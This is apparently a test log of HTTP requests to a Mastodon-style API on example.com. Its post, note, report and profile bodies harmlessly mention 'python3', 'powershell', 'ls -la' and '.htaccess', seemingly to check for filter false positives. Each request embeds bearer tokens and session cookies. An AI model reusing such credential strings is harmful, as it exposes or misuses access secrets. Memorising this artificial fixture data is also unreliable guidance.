{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Length: 186", "Content-Type: application/x-www-form-urlencoded"], "body": "username=python3_notes&email=notes%40example.com&password=python3+powershell+ls+-la+.htaccess&agreement=true&locale=en&reason=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess."}
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Type: application/json", "Content-Length: 209"], "body": "{\"username\":\"riverwalker\",\"email\":\"riverwalker@example.com\",\"password\":\"python3 powershell ls -la .htaccess\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"I write about python3, powershell, ls -la and .htaccess.\"}\n"}
{"method": "PUT", "target": "/api/v1/media/117589930611612296", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 88", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cHLohRLMISEgGIkSjmwNou0XjokvCgcD_ZBJvz1fyo7exC7CfxFrlZF0e0gfWcpOajJhWIjJuyj6QGt0oVj4ZA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NDQuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c5457e36301d33acbca267fbfb8faddac5c6cff; _mastodon_session=I6deLP1IFoK8qFgwDtD4vaOwMVPbhUOxEYsyE3SMSYGskdw%2FLankj9nIyr4zwMmJqKtcmU8RMzG%2BvXp%2BliuWVX7t1%2FXR5MLNoHdZpOKP6pV%2FYtsglEeKHISTtGlOVSDgv%2F3c6QlUr49y2s1LkTYug%2Fuy7n1F5VUTTkYFAhzGPwgzO7Ld3HHO0PH%2FEor%2BYYXDKcZWJG2wAOJPltmB0TJNT32GUaFOUhTBjzVvxuOHw5pFa%2B620RWHHoSBMNfbdrCyZy6gEOuj64jOjyiWL9Hzp1pNNMxs7o1LKsxuHQhLHbUH8ourqvKs67FCJac6gUtRjrmsSDSm5jfHH8BGerPasvc0sI%2BO2RXw1Wtc%2BpnLdfS6jxMKKMAHpiQ8e3NrQeZnH2RZKKD9awtv--Q0Ng1e0B9gxvUXjn--Kr5l3Ji5CTluLty6zPgU%2BA%3D%3D"], "body": "{\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}"}
{"method": "PUT", "target": "/api/v1/media/117589931233188084", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 69", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Udiuy4DCQF1usihPGfvcQfzXXO5XTwJ3cMfUcQYwwrT_bmiM7R8K6d_e2hWIzhute_KzP_CMvlx3F_a6mjfwXg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NTMuOTc3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a5b8f8eb1baa5b18bf81648b1b3822398f8720ba; _mastodon_session=zfGT1no5PSmOXNYN8x9tIEmGvyW1eZUVb%2FVirtpLvZJhuUVKBM%2Fa7coqbKKMQayGUU8cHLjnfjnoikdWsb%2F4dUYjbqHbpvdtAwh8YzG%2FDJRJ32wljvU%2FLIKPPZNTzfisU8k9Aps5Yvc5I8IujKvfZ2voYR4jRJQV5xYksmWPr3BqBJCbj5WA2s83e8zSBpG7iRXEZX%2FzB3jpXIVeS9vO%2B0C2xIIk6EsnYO9Ooj2o3pqvwUD6qu5qng4tROhY7r7AKQFhyfHIxNHyUv%2BGDZd1hwNBN6R7Zj7GvaFR54IU3U%2FgI3%2F3aSuIlso9Wxuczfhf3k%2FXocH7T%2BjhrvsiOfNlocKx042ds5qt2blSKUSVWDKMxuk1CdUqmwjbRbEUzq%2BusD%2BAliJuZWf1--%2BFwk%2BCtBy8QhW0VO--AEC8CgwvQV2bsvj8QgLVIA%3D%3D"], "body": "{\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 378", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 052MO-bxyrMKQNDcuQtGhfzzF9WgRpHIQmixxWfiqBp9K0p8iyyAB7ssIoYoPoFpe9b4BAeFLeNFuJMO--Wa8A", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: 31ebb2aa-b85a-437a-b035-4a4d9dbef767", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MDUuNTc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4e7f64070c30b274fde00ca0fba793c887a57025; _mastodon_session=vTiMcilvkngdiNyDnEVuGxqnaW74Qwfj74wyX843weyZa3P1dU6rPe1NAt7Q%2Fulf4ADiXy%2FVKZAtRU4fv%2FttkARyOb4s0Gw4%2FhageSOX%2F7BSz28E4iilHtEf2RYI6Z6Zep96NsySm6gSbOKSDGEnwP78Wu7allUqFjXupqkDq5Pser1GDJ%2BWjTDMgVSgVyIK27NREACuro%2FHgHrrSaboo6zK4pJL3kdsG28dxxlIPtFYao5CcL4Bgt%2FkJA6QSukZMRbGy2XO9OMf1bzg0efCpdkTt12bza9AYEbZofhatTPg0pwuSI7j4iLaaPn03GZ2xQV0xnVyO1cV%2BYQlU3HndXuZo0nHvC%2BhwBv%2BZLoOMRrhHxhE6g%2FxMxkul9shsh1URWAB5GkcqzSp--Irm3mg66BF7I8HOE--WH5SrwCEG8WJa7MIU8S85Q%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 359", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtIwScCo29MLFEZm9cD3EbxhPWXgyHrwxlVOGDgKwFUgZPYOrXWRZ7p4tDxk9TD9O0TStEcLxtvBhWzTpA3yvw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: f670050f-29dd-4c8e-850a-ffed28fd9644", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MTguNjUwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe685128ad0ceaa4d61dad71bac463f3bd144c41; _mastodon_session=ih%2B%2FTU%2BlVOgsdXlElykmwasz9rFq3Kf1OohI%2BF0NlT2eCS73Q%2FBorEHIM5SNJJxAYlejpgCTb7VrtEZCNzptofqKrulLDrrT1lVZ2IyyYHLMIcRwUT7vYLF5ixzBdM6qi1JYjwG6dZfGC4WROLrHM0td%2FpkXhaVCw883CdCo59kjoJuX%2FvGqymgIXIe9i9rTKM%2B0gbA4c6PLLrUUi9FdefkLsefQT8Tt6yLeMnADkl3s%2BEuUE30CUAnSefYLaYqFYP4ojY2ZWd4mbN2cZT1CIcTU%2BF7M6jAgRJnnLQP80iujxeVXgYFOWtWntsieAUt%2FvpmtbCJsYFv%2FCRHBPQpIs1FXd%2BnZcrZ0xNMCKSUdmdgIoF8v7AdzSAS3f2g%2FMogQPNp2U9kinKbL--pEQ%2FdnqZ1JXUZV9d--RPwXXw%2Fs4t%2BzB7ZFlTg%2B7A%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 64", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: BeIjgPb_Ki2P5nZ3rbFiObczGHXBLKj-9Shcx6sMZNqrVOXHmyJgmT6KhC08hKXVMBb3pGbvFNXy-H4MNwtWMA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzEuNzgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c21ae4b488fa2497eeefd124ccc3ece1492f8b0; _mastodon_session=If5JeBG3TPA%2F8yN0NBk57vmu%2Be1GGiDsjRTdAD3QpoRk1n6%2BZC%2B10TInvEpKFH3ueb0mSyguaEgsOqcTIK0ATj50wX%2F2cLesedXd%2FoRqIhRSH8zf3nMmLG9zwsNI0u%2BszfJaQnL2Bt%2B5uBSJVNaaaO7KPtFlNmMh%2BGooI7j4qpO7z%2FdYeAaDvdhuvHEJWbeT%2FVuNa5lTrqophaXgXwEzLcdpdZwlz8iqLpz%2BLMBovNzNYVDIPC8KwubfqujKFz8DVpY%2FtoefQNS5ILphWCcrCGv7qxLcdmnJpARqRd%2B2SMsGOKpPqlJ0uamGe4t9JETSH87fsegRzImePo6%2FV0nkt%2FoXqxdYTssK7%2FrN60FFYQR3NEShZWPRIRADVFmk6r4XrFcXBEAYQBYB--1g3s7naZgr3V3LwF--ZcKbAHneB%2B8ngpSp9I0gJA%3D%3D"], "body": "{\"comment\":\"python3 and powershell scripts that edit .htaccess\"}"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 45", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Q0W3UzYCclJMxooigAQ1Ogxqhygj0cU1B55S-X0Mc3nt83EUW9845v2qeHgRMfLWi09o-YQSeR4ATnAy4QtBkw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzkuMzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--dea80b4af1e12f57030bae46eb78f197314cd5d1; _mastodon_session=LpSTuQUFbXringpNg0Yhjt0jNhGqECl43SvetnXjkjKzrpH4HpJSHHhgy%2BjfgKRF%2B%2FlEZsxSTvd2gbg9FVppVkLSUdUVP7%2FC5bix%2FebFwVo42hEQpEq5D0%2BlaZaaR7n8jORXjRTwyRUMEk1u%2BRWBI0BCT20Q00HP%2FMLtjOBIAR6FleI0Yiyo3EoCjfJswTADfkyju3GvIdrihGFUyVUKDlqA2K2tH%2FJn%2BM10piBWdllpChX6CkPvoNRe7My6FAjeAgvEhYhbqfj9%2F24zzblHdVKkP8kLjbOIS2y%2Bbyd4RIIjqOEoZu6CPUhciDp5EBiR1x4XOHkYWolzP634b1hCc5LPkEPetO10XBhPAo6oYygoEJrl8xlwFnl%2BPsLhKVn%2FrIe3meoq3ZAX--1ZcqZOh3vKoYOWKz--Zi0sY%2FcyVxR371oJkFnePQ%3D%3D"], "body": "{\"comment\":\"ls -la shows the .htaccess file\"}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 275A73Lk4LJJeS7bh0WGgbuhlAZAKS-SSRMtwokla911CIaoHzmqBvgV3IEWcEFtPIR71-fqk7lOww8JFSJZNw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6NDguOTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--72e68eb7a2617104fbea4981c9979cd76732c3d3; _mastodon_session=Ic%2BkjKoSTxUA5fIt439hMLfBevHqqFuwatrwN9lmrj1BnIekxESYP5bxc6zKF4mL8I1fwTk2QxRPFm1CVvfxNxQIOQIEWLH%2BYvos4gQzL%2FePyC3kwuSKRTGI9wBCuiEsIyGGRqClv9NkkGJC5AbJmOd60KZUtVrRcfmPcN6qzrZBPb2KiveQJW9NsvoSojPxsUjLFGWtYuKBEURUHHHqa9Cy3RkpQL8dfJ1V2sUl43eYrRT9hCAHEpGl5LfvuSYe0tfR9iIE1wVErROBWDejN2Y%2BbuKtZtJPiI5cKYuegYnXahql%2FUrSj9SmCqXgsIrlp4WsjcaYO4fQIR5pzAAGtD%2FH5KE96uoDYwXwK8SQbo0D%2Byn1TzIp8ZqvWO9NWDv5Jj8BGXgO0nhD--cWePZPKZv7fdCsxv--SUK2ofhv97JsULvnXyDd6g%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"python3 and powershell scripts that edit .htaccess\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cCZYMk7iDpaFtzXcTGWQd-_4BLRa0ROooXWty2YixXnekJ51Iz9EIjTbx4bdUFebaN3rZf0Sr4OmpY8A-iX3kw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MDAuMDIwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--879f36b839912f24c82adea8c7d08101060660de; _mastodon_session=usCuCTufLcJ%2Bs67xaGkrTFVAOkYQrkjR3B%2BLma2Mi8FSUemPzcrBQCKG5OfGXYCbD9jsXlCjNpKb96EEgOMBC9r4w5A%2Fv6qG%2BT9euFxwEII1pWlgb%2FMh9fhKq4R22v0u4DvTv1ZvrogrXKitVwuyXhY46PKz%2BhCyfuWWuqONAXuPG%2F6FZVlojc%2F6lV6LyFaTA1IONytuiLKQwDnBXm4wps5jc9%2B9HvUdWlYvoe6upCdKrOut1CYHOrTvmFHeeDfyqNCh6gofDUUjaJg2UHl4AfwxDZWDdSc24THFs1dX9m3qD2iq2pDJluiHlrdytjrFQ3il%2FcGcuQ5AuMncS7xN%2B5Vpqr3kY14ZBR%2BT1zjuaGTVRg00L5%2FVCfjebvfG0qN11cpOQ6U8XGXo--d%2BTV%2F6S90fWJ%2FiEc--kT2nBPBmIauEk706faYvIg%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"ls -la shows the .htaccess file\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 182", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NS4mJozBhgwGiOnauvvlh1MOcXRoRzqm1Rbsqy1cogdPui41Xce0gkX6PHn2TNNblADPQ-Qr-nyvCXv6EXLgcg", "Authorization: Bearer Wqvvk2G9vzWy-EFC3yd1q18PX6dd4tlBqXUW49355xk", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob@remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqUTVPVGcyWmpNeE1HRTRZbUppWmpBNVptWmxPREJtWWpOak5XTXpOakUwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDQ6MTc6NDEuMzAxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6928064bccde57356bbafe881a7f9fa79375c676; _mastodon_session=A04wdDjjZex1xPOJLeLxjFXxD0cxov9AbH3wgjbJLeNsLawcjWK4s3F2OgR0bOLDKJVoPi5OjfPXy3iyW9GT0x%2FXs0VDrGybzFJ1ExCnGwty5D3OsSNZ72qIp2xO8a8ZnfTksV85VbZUPC2Qh7EAGcD2u7S6XjRYr7mwLS9xi6rxRHIxBYwTUXHnFYvpueiZhHde9RH8wp3iOTZFp5WrZHAcX6u4%2FpW2UxmPH8F4535M%2FzOZflTurQf6O%2Bjo5FHItmjYp9AbytsO2Wfk4L2ZBL2ajoHJRb%2Fa6OISisN%2BlaZaTaKlUHZ1sNpD%2B1BBZRwARfvtmSuNzoCvshUnZcTOpY%2BX87p%2Bj%2BhFThEIP2%2FBtsOTJ9TfNTh6WwxIDPfr7v6OunCbXcXQ8tKM--PD%2F2fY1YAsaSYrjc--y6q8zvscHV1Zfmvb7Xhq0w%3D%3D"], "body": "{\"account_id\":\"117590200831999305\",\"status_ids\":[],\"forward_to_domains\":[\"remote.example\"],\"comment\":\"Sends the same link to everyone\",\"forward\":true,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=PpO3riJn0wrhzXdm0n9sD3WrcWOLBOqU2Uw1NYfXGp%2F%2F6DB5kC3tVwXkNcOpokF7iybZfrq%2BPSzSWohyKC2tw1TvBVJ%2Fz3wy9MgS%2BDm819NxHZTgIA%2F8zSQYZ8aqbeOGJOvzQeupysJRu%2BsfaRldkXIA7ZMtJF2fsDrmGADVz%2ByI0Jwnp9SPT67LyKAwYuzZ81%2F%2BMOHFXfs3YpFt%2Bn%2FB2PMrD3zfD%2FQAdfzup3zO46tdeXpux3yhS%2FhAWLTMI1FaGUrakvRWO5GkQKAcCBRaCArfotffjBY9TRJ0birKb%2BD%2BcJ9ZuoJNBdkivnw32MQYjzENZTl3Yg9jYb0xDDTpz9mmfILCqxtCIx2Le1HQ1QWzoagiNry5rNAWOtSeZrLoTZbFNr6fqP5L--Jg1q%2B36dKbXHumxo--q5U9LM%2FezBlMMh4Nzs%2BgiA%3D%3D"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=QHqOTIV3gJO1hKRsR1ikIZvF2Dx%2F4%2B8yeatocM9k9tt%2BtysDvdNJSaaJtUwtTpHc2KDb%2B8xoQn71tiJLjulcFjx5w%2B7lT2UVBt9%2FBMHIhhHJIyuLxzVAgAH0UbtrE2PUslkhVimXolivaM3OwtfUwOfFHoQ486mNwWDSt%2BEixCZB7%2Fe%2B4fjf65P0J1MMCe2Vi%2FGghCaXSQ8jtIEbDPThK1cvAIgvX%2F7FFNZ%2FkOthRHgwtPhC%2BGsUZ0vYNpwgN7V7DUteJYvLCzPzqcMP5%2BLJmG5oguySusTCUO3MQBFthwuvmTXUCXxilitHQDkSaQDxH376CZizYCd0xz6SCv8y4JxmfCH8TUrLoQLnekvZex0wSCZdkWi8MK9DmpxNqgOWUiwgqNCX13i%2B--n01RHiqXzIJJ4QG2--EzrkYhOWQPnW7s54eqenTQ%3D%3D"], "body": "{\"note\":\"python3 and powershell scripts that edit .htaccess\"}"}
